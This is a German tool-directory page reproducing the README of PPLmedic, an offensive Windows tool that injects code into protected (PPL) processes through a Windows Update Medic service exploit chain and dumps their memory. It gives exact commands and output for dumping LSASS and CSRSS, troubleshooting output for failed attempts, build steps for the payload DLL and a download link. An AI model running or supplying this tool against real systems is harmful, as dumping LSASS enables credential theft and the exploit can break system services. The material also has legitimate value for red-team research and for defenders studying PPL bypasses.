Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
PPLmedic — Den Speicher einer beliebigen PPL mit einer Userland-Exploit-Kette auslesen | Kitploit
Tools/GitHubGitHub/itm4n/pplmedic
Privilege EscalationExploitationPost-ExploitationRed TeamingPayload-EntwicklungArchived
GitHubitm4n/pplmedic

PPLmedic

Den Speicher einer beliebigen PPL mit einer Userland-Exploit-Kette auslesen

Repository anzeigen
3533916vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

PPLmedic

Dieses Tool implementiert eine Userland-Exploit-Kette zum Injizieren von beliebigem Code in eine PPL mit dem Signaturtyp Windows und zur Erhöhung auf den Signaturtyp WinTcb. Diese Techniken wurden ursprünglich von James Forshaw (auch bekannt als @tiraniddo) in seinem Blogbeitrag Injecting Code into Windows Protected Processes using COM - Part 1 vorgestellt.

Um mehr über dieses Tool zu erfahren, solltest du den zugehörigen Blogbeitrag hier lesen:

  • Bypassing PPL in Userland (again)

💣 Haftungsausschluss

Ich würde dieses Tool als fortgeschrittenen Proof-of-Concept einstufen. Du solltest dir zweimal überlegen, ob du es bei einem realen Einsatz verwendest. Die Verwendung ist sicher, solange es nicht unterbrochen wird, was beispielsweise in Anwesenheit eines EDR nicht garantiert werden kann.

Es verändert wichtige Registrierungsschlüssel, die mit dem Windows Update Medic-Dienst zusammenhängen. Im schlimmsten Fall, wenn diese Registrierungsschlüssel nicht ordnungsgemäß wiederhergestellt werden, funktioniert dieser Dienst nicht mehr richtig, aber das wird das Betriebssystem nicht zum Absturz bringen.

📝 Verwendung

Voraussetzungen:

  • Berechtigungen: Administrator oder SYSTEM mit SeDebugPrivilege
  • Plattform: Windows 10/11 oder Windows Server 2019/2022
  • Architektur: Nur x86_64 wird unterstützt
REM Use the option -p to elevate from PPL-Windows to PPL-WinTcb
PPLmedic.exe dump "PID" "C:\FULL\PATH\TO\DUMP.dmp" [-p]

Eine PPL-Windows oder darunter dumpen (z. B.: LSASS):

C:\WINDOWS\system32>tasklist | findstr lsass
lsass.exe                      756 Services                   0     20,028 K

C:\WINDOWS\system32>C:\Temp\PPLmedic.exe dump 756 c:\Temp\lsass.dmp
[...]
[+] Payload DLL successfully loaded after 272 attempts!
[*] Deleting 272 temporary directories created by the service...
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[+] Memory dump of process with PID 756 successful: c:\Temp\lsass.dmp
[...]

Eine PPL-WinTcb dumpen (z. B.: CSRSS):

C:\WINDOWS\system32>tasklist | findstr csrss
csrss.exe                      520 Services                   0     26,420 K
csrss.exe                      608 Console                    1     57,548 K

C:\WINDOWS\system32>C:\Temp\PPLmedic.exe dump 520 c:\Temp\csrss.dmp -p
[...]
[+] Payload DLL successfully loaded after 181 attempts!
[*] Deleting 181 temporary directories created by the service...
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[*] Attempting to get a higher process protection level...
[+] Target file 'C:\Users\LAB-AD~1\AppData\Local\Temp\faultrep.dll' should now be cache signed (level=12 - Windows).
[*] Connected to remote process.
[+] Remote process protection level: 0x00000000 (PsProtectedSignerWinTcb-Light)
[+] Memory dump of process with PID 520 successful: c:\Temp\csrss.dmp
[...]

📋 Tests

Windows-VersionPPL-WindowsPPL-WinTcbBeobachtung
Windows 10 22H2 Build 19045.2673✔✔N/A
Windows 11 22H2 Build 22621.1344⚠❌Häufiger Dienstabsturz + Der Exploit für die gefälschte Cache-Signatur scheint nicht zu funktionieren.
Windows Server 2019 Version 1809 Build 17763.4010✔✔N/A
Windows Server 2022 Version 21H2 Build 20348.1547✔✔N/A

🚧 Bekannte Probleme

Fehler: „Unexpected error or timeout“

Der folgende Fehler tritt auf, weil der Exploit beim Versuch, ein entferntes TaskHandler-COM-Objekt zu erstellen, eine Zeitüberschreitung hatte. Das ist normalerweise ein Zeichen dafür, dass der Zieldienst WaaSMedicSvc abgestürzt ist. Dies kann mit der nächsten Meldung bestätigt werden: [!] Service WaaSMedicSvc is no longer running. Du solltest versuchen, das Tool erneut auszuführen.

C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[*] Attempt 100/1000 (10%)
[*] Attempt 200/1000 (20%)
[-] Unexpected error or timeout while trying to create a remote TaskHandler instance.
[!] Service WaaSMedicSvc is no longer running, it probably crashed because of an invalid handle value.
[...]

Fehler: „Reached the maximum number of attempts“

Der folgende Fehler tritt auf, weil der Exploit es nicht geschafft hat, in weniger als 1000 Versuchen ein gültiges Objektverzeichnis zu schreiben. Dieses Limit dient als Sicherheitsvorkehrung, um zu verhindern, dass der Zieldienst zu viele Ressourcen verbraucht. Du solltest versuchen, das Tool erneut auszuführen.

C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[...]
[*] Attempt 1000/1000 (100%)
[-] Reached the maximum number of attempts.
[...]

Fehler: „Failed to write LdrpKnownDllDirectoryHandle value“

Der folgende Fehler tritt auf, weil beim Aufruf von LaunchDetectionOnly oder LaunchRemediationOnly ein unerwarteter Fehler aufgetreten ist. Das sollte allerdings recht selten vorkommen. Du solltest versuchen, das Tool erneut auszuführen.

C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[*] Attempt 100/1000 (10%)
[*] Attempt 200/1000 (20%)
[-] Failed to write LdrpKnownDllDirectoryHandle value (thread exit code: 0x800706ba).
[...]

Fehler: „Failed to cache sign ...“

Der folgende Fehler tritt auf, weil der Exploit die Payload-DLL nicht cache-signieren konnte. Der auf der Katalogdatei gesetzte Oplock wurde wahrscheinlich nie ausgelöst, weil sie bereits vom Kernel geöffnet worden war. Du kannst versuchen, das Tool zu einem späteren Zeitpunkt erneut auszuführen (für Windows 11 siehe Abschnitt „Tests“).

C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp -p
[...]
[*] Trying to write a valid object directory handle...
[+] Payload DLL successfully loaded after 1 attempts!
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[*] Attempting to get a higher process protection level...
[-] Failed to cache sign 'C:\Users\LAB-AD~1\AppData\Local\Temp\faultrep.dll' (LE: 997).
[...]

🏗 Build-Anleitung

Diese Visual-Studio-Projektmappe umfasst zwei Projekte (die ausführbare Datei und eine Payload-DLL), die in einer bestimmten Reihenfolge kompiliert werden müssen. Alles ist vorkonfiguriert, sodass du nur diesen einfachen Anweisungen folgen musst. Die kompilierte Payload-DLL wird automatisch in die endgültige ausführbare Datei eingebettet.

  1. Öffne die Projektmappe mit Visual Studio 2019.
  2. Wähle Release / x64 (x86 wird nicht unterstützt!).
  3. Build > Build Solution.

🎖 Danksagungen

  • @tiraniddo - Injecting Code into Windows Protected Processes using COM - Part 1
    https://googleprojectzero.blogspot.com/2018/10/injecting-code-into-windows-protected.html
Tool herunterladen